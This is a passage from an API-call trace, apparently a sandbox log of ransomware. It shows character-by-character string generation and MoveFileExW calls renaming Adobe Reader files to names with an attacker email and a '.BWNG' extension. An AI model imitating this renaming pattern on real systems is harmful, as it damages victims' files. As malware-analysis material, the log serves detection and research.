lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="N") returned 1 [0090.861] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="l") returned 1 [0090.861] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="0") returned 1 [0090.861] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="Z") returned 1 [0090.861] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="j") returned 1 [0090.861] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="E") returned 1 [0090.861] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="d") returned 1 [0090.861] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="7") returned 1 [0090.861] GetTickCount () returned 0x115e87c [0090.861] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=23281309357) returned 1 [0090.861] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="B") returned 1 [0090.861] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="Q") returned 1 [0090.861] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="y") returned 1 [0090.861] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="o") returned 1 [0090.861] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="J") returned 1 [0090.861] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="7") returned 1 [0090.861] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="x") returned 1 [0090.861] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="1") returned 1 [0090.861] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\SaveAsRTF.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\saveasrtf.rum"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\[billwong73@yahoo.com].Nl0ZjEd7-BQyoJ7x1.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\[billwong73@yahoo.com].nl0zjed7-bqyoj7x1.bwng"), dwFlags=0x1) returned 1 [0090.862] GetTickCount () returned 0x115e87c [0090.862] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23281446284) returned 1 [0090.862] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="G") returned 1 [0090.862] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="M") returned 1 [0090.862] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="Q") returned 1 [0090.862] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="L") returned 1 [0090.862] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="N") returned 1 [0090.862] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="D") returned 1 [0090.862] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="s") returned 1 [0090.862] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="h") returned 1 [0090.863] GetTickCount () returned 0x115e87c [0090.863] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=23281476491) returned 1 [0090.863] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="1") returned 1 [0090.863] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="J") returned 1 [0090.863] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="T") returned 1 [0090.863] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="q") returned 1 [0090.863] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="d") returned 1 [0090.863] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="G") returned 1 [0090.863] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="O") returned 1 [0090.863] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="k") returned 1 [0090.863] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HRV\\WindowsMedia.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_hrv\\windowsmedia.hrv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HRV\\[billwong73@yahoo.com].GMQLNDsh-1JTqdGOk.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_hrv\\[billwong73@yahoo.com].gmqlndsh-1jtqdgok.bwng"), dwFlags=0x1) returned 1 [0090.864] GetTickCount () returned 0x115e87c [0090.864] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23281642143) returned 1 [0090.864] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="b") returned 1 [0090.864] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="u") returned 1 [0090.864] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="0") returned 1 [0090.864] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="Q") returned 1 [0090.864] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="X") returned 1 [0090.864] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="1") returned 1 [0090.864] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="9") returned 1 [0090.864] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="G") returned 1 [0090.864] GetTickCount () returned 0x115e87c [0090.864] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=23281881427) returned 1 [0090.867] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="f") returned 1 [0090.867] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="R") returned 1 [0090.867] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="b") returned 1 [0090.867] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="g") returned 1 [0090.867] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="o") returned 1 [0090.867] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="Z") returned 1 [0090.867] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="9") returned 1 [0090.867] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="w") returned 1 [0090.867] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\AdobeCollabSync.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\adobecollabsync.rus"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\[billwong73@yahoo.com].bu0QX19G-fRbgoZ9w.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\[billwong73@yahoo.com].bu0qx19g-frbgoz9w.bwng"), dwFlags=0x1) returned 1 [0090.868] GetTickCount () returned 0x115e87c [0090.868] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23282039543) returned 1 [0090.868] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="J") returned 1 [0090.868] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="M") returned 1 [0090.868] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="3") returned 1 [0090.868] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="8") returned 1 [0090.868] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="I") returned 1 [0090.868] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="S") returned 1 [0090.868] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="7") returned 1 [0090.868] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="m") returned 1 [0090.868] GetTickCount () returned 0x115e87c [0090.868] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=23282070224) returned 1 [0090.869] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="A") returned 1 [0090.869] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="i") returned 1 [0090.869] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="k") returned 1 [0090.869] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="n") returned 1 [0090.869] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="F") returned 1 [0090.869] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="5") returned 1 [0090.869] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="x") returned 1 [0090.869] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="Q") returned 1 [0090.869] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUM\\MCIMPP.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_rum\\mcimpp.rum"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUM\\[billwong73@yahoo.com].JM38IS7m-AiknF5xQ.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_rum\\[billwong73@yahoo.com].jm38is7m-aiknf5xq.bwng"), dwFlags=0x1) returned 1 [0090.912] GetTickCount () returned 0x115e8aa [0090.912] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23286428359) returned 1 [0090.912] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="l") returned 1 [0090.912] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="t") returned 1 [0090.912] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="y") returned 1 [0090.912] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="B") returned 1 [0090.912] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="q") returned 1 [0090.912] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="H") returned 1 [0090.912] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="E") returned 1 [0090.912] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="A") returned 1 [0090.912] GetTickCount () returned 0x115e8aa [0090.912] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=23286461313) returned 1 [0090.912] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="9") returned 1 [0090.912] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="t") returned 1 [0090.912] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="i") returned 1 [0090.913] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="9") returned 1 [0090.913] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="D") returned 1 [0090.913] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="e") returned 1 [0090.913] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="k") returned 1 [0090.913] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="v") returned 1 [0090.913] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SKY\\WindowsMedia.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_sky\\windowsmedia.sky"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SKY\\[billwong73@yahoo.com].ltyBqHEA-9ti9Dekv.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_sky\\[billwong73@yahoo.com].ltybqhea-9ti9dekv.bwng"), dwFlags=0x1) returned 1 [0090.915] GetTickCount () returned 0x115e8aa [0090.915] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23286687039) returned 1 [0090.915] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="A") returned 1 [0090.915] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="e") returned 1 [0090.915] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="e") returned 1 [0090.915] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="s") returned 1 [0090.915] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="8") returned 1 [0090.915] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="3") returned 1 [0090.915] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="m") returned 1 [0090.915] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="4") returned 1 [0090.915] GetTickCount () returned 0x115e8aa [0090.915] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=23286718479) returned 1 [0090.915] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="Y") returned 1 [0090.915] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="b") returned 1 [0090.915] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="b") returned 1 [0090.915] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="4") returned 1 [0090.915] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="w") returned 1 [0090.915] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="T") returned 1 [0090.915] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="a") returned 1 [0090.915] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="j") returned 1 [0090.915] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Multimedia.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\multimedia.rus"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\[billwong73@yahoo.com].Aees83m4-Ybb4wTaj.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\[billwong73@yahoo.com].aees83m4-ybb4wtaj.bwng"), dwFlags=0x1) returned 1 [0090.916] GetTickCount () returned 0x115e8aa [0090.916] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23286855460) returned 1 [0090.916] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="n") returned 1 [0090.916] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="h") returned 1 [0090.916] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="K") returned 1 [0090.916] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="T") returned 1 [0090.917] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="y") returned 1 [0090.917] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="f") returned 1 [0090.917] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="Q") returned 1 [0090.917] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="P") returned 1 [0090.917] GetTickCount () returned 0x115e8aa [0090.917] QueryPerformanceCounter (in: 